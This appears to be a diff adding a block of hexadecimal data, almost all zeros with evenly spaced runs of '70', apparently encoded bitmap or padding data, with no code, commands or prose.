+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000707070707070707070707070707070707070 +707070707070707070707070707070707070707070707070000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000707070707070707070707070707070707070707070707070707070707070707070 +707070707070707070000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000707070707070707070 +707070707070707070707070707070707070707070707070707070707070707070000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000707070707070707070707070707070707070707070707070 +707070707070707070707070707070707070000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 